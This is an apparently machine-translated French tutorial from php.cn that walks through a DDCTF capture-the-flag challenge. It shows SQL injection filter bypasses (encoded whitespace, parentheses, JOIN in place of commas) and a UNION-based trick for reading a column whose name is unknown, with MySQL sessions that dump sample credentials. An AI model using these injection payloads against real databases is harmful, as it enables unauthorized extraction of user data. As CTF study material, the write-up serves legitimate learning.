Maison > base de données > tutoriel mysql > Explication détaillée de l'exemple de code sur la façon dont Mysql contourne intelligemment les noms de champs inconnus

Explication détaillée de l'exemple de code sur la façon dont Mysql contourne intelligemment les noms de champs inconnus

黄舟
Libérer: 2017-06-04 10:03:39
original
979 Les gens l'ont consulté

Cet article vous présente principalement les informations pertinentes sur la façon de contourner intelligemment les noms de champs inconnus dans Mysql L'article fournit des exemples de codes détaillés pour votre référence et votre étude, qui est une certaine référence pour apprendre MySQL. La valeur de l'apprentissage, les amis qui en ont besoin, venez jeter un œil ci-dessous.

Avant-propos

Cet article présente la cinquième question du DDCTF, la technique de contournement des noms de champs inconnus. Ici, j'utilise cette machine pour la faire fonctionner. . , l'idée est géniale et claire, j'aimerais la partager avec vous Jetons un coup d'œil à l'introduction détaillée :

Idée de mise en œuvre

La question filtre les espaces et les virgules et les espaces peuvent être contournés en utilisant %0a, %0b, %0c, %0d, %a0, ou directement en utilisant des parenthèses. Les virgules peuvent être contournées en utilisant join

. Le nom du champ où l'indicateur est stocké est inconnu, information_schema.columns filtre également l'hexadécimal du nom de la table, c'est-à-dire que le nom du champ ne peut pas être obtenu, vous pouvez alors utiliser requête conjointe ; , le processus est le suivant :

L'idée est d'obtenir le drapeau, de le laisser apparaître sous le nom du champ connu

Exemple de code :

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
 
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
 
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
 
+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
 
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)
Copier après la connexion

Résumé

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal